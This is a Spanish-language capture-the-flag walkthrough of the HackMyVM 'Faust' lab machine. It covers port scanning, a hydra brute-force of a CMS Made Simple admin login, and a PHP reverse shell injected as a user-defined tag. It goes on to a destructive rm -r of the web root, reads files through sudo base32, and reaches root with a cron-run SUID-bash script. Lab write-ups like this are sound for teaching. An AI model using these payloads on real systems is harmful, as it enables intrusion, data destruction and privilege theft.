Faust HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-21 10:17 EDT
Nmap scan report for 192.168.5.55
Host is up (0.0010s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 54:0a:75:c5:26:56:f5:b0:5f:6d:e1:e0:77:15:c7:0d (RSA)
| 256 0b:d7:89:52:2d:13:16:cb:74:96:f5:5f:dd:3e:52:8e (ECDSA)
|_ 256 5a:90:0c:f5:2b:7f:ba:1c:83:02:4d:e7:a2:a2:1d:5b (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Home - cool_cms
6660/tcp open unknown
| fingerprint-strings:
| NULL, Socks5:
| MESSAGE FOR WWW-DATA:
| [31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house...
|_ Paul
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6660-TCP:V=7.95%I=7%D=6/21%Time=6856BF1B%P=x86_64-pc-linux-gnu%r(NU
SF:LL,A5,"\n\n\x20\x20\x20MESSAGE\x20FOR\x20WWW-DATA:\n\n\x20\x1b[31m\x20
SF:\x20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x20if\x20you\x20agre
SF:e\x20to\x20destroy\x20all\x20your\x20stupid\x20work,\x20then\x20you\x20
SF:have\x20a\x20reward\x20in\x20my\x20house\.\.\.\n\x20\x20\x20Paul\x20\x1
SF:b[0m\n")%r(Socks5,A5,"\n\n\x20\x20\x20MESSAGE\x20FOR\x20WWW-DATA:\n\n\
SF:x20\x1b[31m\x20\x20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x20i
SF:f\x20you\x20agree\x20to\x20destroy\x20all\x20your\x20stupid\x20work,\x2
SF:0then\x20you\x20have\x20a\x20reward\x20in\x20my\x20house\.\.\.\n\x20\x2
SF:0\x20Paul\x20\x1b[0m\n");
MAC Address: 08:00:27:1D:5B:19 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds
Veremos que hay un puerto 80
y un puerto 6660
en el que pone un mensaje bastante interesante, pero en el puerto 80
se aloja una pagina web, vamos a ver que contiene dicho puerto, si nos metemos veremos una pagina web normal sin ningun tipo de vulnerabilidad aparente, vamos a realizar un poco de fuzzing
a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.55/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/modules (Status: 200) [Size: 3381]
/uploads (Status: 200) [Size: 0]
/doc (Status: 200) [Size: 24]
/index.php (Status: 200) [Size: 19347]
/assets (Status: 200) [Size: 2129]
/admin (Status: 200) [Size: 4479]
/lib (Status: 200) [Size: 24]
/.php (Status: 403) [Size: 277]
/config.php (Status: 200) [Size: 0]
/tmp (Status: 200) [Size: 1131]
Progress: 102337 / 882244 (11.60%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 102701 / 882244 (11.64%)
===============================================================
Finished
===============================================================
Veremos una seccion bastante interesante llamada /admin
, en el que si entramos veremos un login
, pero si probamos credenciales por defecto como por ejemplo admin:admin
no nos dejara, por lo que vamos a probar fuerza bruta
con el login
utilizando el usuario admin
a ver si hay suerte.
Escalate user paul
Hydra
hydra -l admin -P <WORDLIST> <IP> http-post-form "/admin/login.php:username=^USER^&password=^PASS^&loginsubmit=Submit:User name or password incorrect"
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-21 10:06:39
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://192.168.5.55:80/admin/login.php:username=^USER^&password=^PASS^&loginsubmit=Submit:User name or password incorrect
[80][http-post-form] host: 192.168.5.55 login: admin password: bullshit
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-21 10:07:15
Veremos que ha sacado de forma correcta las credenciales del admin
por lo que nos loguearemos de la siguiente forma:
Username: admin
Password: bullshit
Una vez dentro si exploramos un poco el panel veremos la seccion Tags
en la cual aparecen varias opciones, pero entre ellas hay un icono de una terminal llamado User Defined Tags
por lo que se ve bastante interesante, si entramos dentro vamos a probar a darle al boton llamado Add User Defined Tag
.
En el campo Name
pondremos por ejemplo Shell
y en el campo Code:
pondremos lo siguiente:
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Ahora le daremos a Submit
y nos pondremos a la escucha de la siguiente forma.
nc -lvnp <PORT>
Estando a la escucha le daremos de nuevo a shell
en el Tag
y seguidamente le daremos a la opcion llamada Run
, si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.55] 34626
whoami
www-data
Por lo que vemos ha funcionado, por lo que sanitizaremos la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user paul
Antes vimos que en el puerto 6660
pone este mensaje:
MESSAGE FOR WWW-DATA:
[31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house...
Paul
Vemos que nos esta mencionando que si eliminamos nuestro "trabajo" en este caso el contenido de la carpeta html/
nos dejara algo en la /home
del usuario Paul
, por lo que vamos hacer lo siguiente:
rm -r /var/www/html/*
Al hacer esto veremos que nos aparece un password.txt
en la /home
de Paul
que pone lo siguiente:
Password is: YouCanBecomePaul
Vamos a probar dichas credenciales a ver si funcionan.
su paul
Metemos como contraseña YouCanBecomePaul
y veremos que estamos dentro.
Escalate user nico
Si hacemos sudo -l
veremos lo siguiente:
Entrées par défaut pour paul sur debian :
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
L'utilisateur paul peut utiliser les commandes suivantes sur debian :
(nico) /usr/bin/base32
Veremos que podemos ejecutar Base32
como el usuario nico
por lo que podremos realizar lo siguiente:
Vamos a leer la flag
del usuario.
user.txt
LFILE=/home/nico/user.txt
sudo -u nico base32 "$LFILE" | base32 --decode
Info:
gamhanarhu
Ahora vamos a listar la /home
de nico
.
total 32
drwxr-xr-x 3 nico nico 4096 avril 1 2021 .
drwxr-xr-x 4 root root 4096 avril 1 2021 ..
lrwxrwxrwx 1 root root 9 avril 1 2021 .bash_history -> /dev/null
-rw-r--r-- 1 nico nico 220 avril 1 2021 .bash_logout
-rw-r--r-- 1 nico nico 3526 avril 1 2021 .bashrc
drwxr-xr-x 3 nico nico 4096 avril 1 2021 .local
-rw-r--r-- 1 nico nico 807 avril 1 2021 .profile
-rwx------ 1 nico nico 37 avril 1 2021 .secret.txt
-rwx------ 1 nico nico 11 avril 1 2021 user.txt
Veremos que hay un archivo interesante llamado .secret.txt
si lo leemos veremos lo siguiente:
LFILE=/home/nico/.secret.txt
sudo -u nico base32 "$LFILE" | base32 --decode
Info:
UHcgPT4ganVzdF9vbmVfbW9yZV9iZWVyIA==
Vemos que esta codificado en Base64
, si lo decodificamos en nuestro host
de esta forma.
echo 'UHcgPT4ganVzdF9vbmVfbW9yZV9iZWVyIA==' | base64 -d
Info:
Pw => just_one_more_beer
Vemos lo que parece ser la contraseña de dicho usuario.
su nico
Metemos como contraseña just_one_more_beer
y veremos que estaremos dentro.
Escalate Privileges
En la /
(Raiz) veremos una carpeta llamada nico
si entramos dentro veremos un archivo de imagen llamado homer.jpg
.
total 56
drwx------ 2 nico nico 4096 avril 1 2021 .
drwxr-xr-x 19 root root 4096 avril 1 2021 ..
-rwxrwx--- 1 nico root 47162 avril 1 2021 homer.jpg
Tiene toda la pinta de que oculta algun archivo o algo por dentro, por lo que vamos a utilizar la herramienta steghide
para ver si podemos extraer algun archivo con suerte sin contraseña.
NOTA
El archivo nos lo pasamos mediante un servidor de python3
a nuestra maquina atacante con wget
.
steghide extract -sf homer.jpg
Dejamos la contraseña vacia...
Info:
Enter passphrase:
wrote extracted data to "note.txt".
Veremos que ha funcionado, nos ha extraido un archivo llamado note.txt
en el que pone lo siguiente:
my /tmp/goodgame file was so good... but I lost it
Por lo que podemos entender con esto es que por detras tiene que haber algun crontab
programado para ejecutar dicho archivo, si nosotros nos vamos a la carpeta /tmp
no veremos el archivo por lo que vamos a probar a crear uno malicioso a ver si se ejecuta como root
.
nano /tmp/goodgame
#Dentro del nano
#!/bin/sh
chmod u+s /bin/bash
Lo guardamos, establecemos los permisos necesarios...
chmod +x /tmp/goodgame
Y esperamos un rato, despues de esperar vamos a comprobar que haya funcionado listando la bash
.
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1168776 avril 18 2019 /bin/bash
Por lo que vemos a funcionado, por lo que haremos lo siguiente para ser root
.
bash -p
Info:
bash-5.0# whoami
root
Con esto seremos root
por lo que leeremos la flag
de root
.
root.txt
lasarnsilgam
Last updated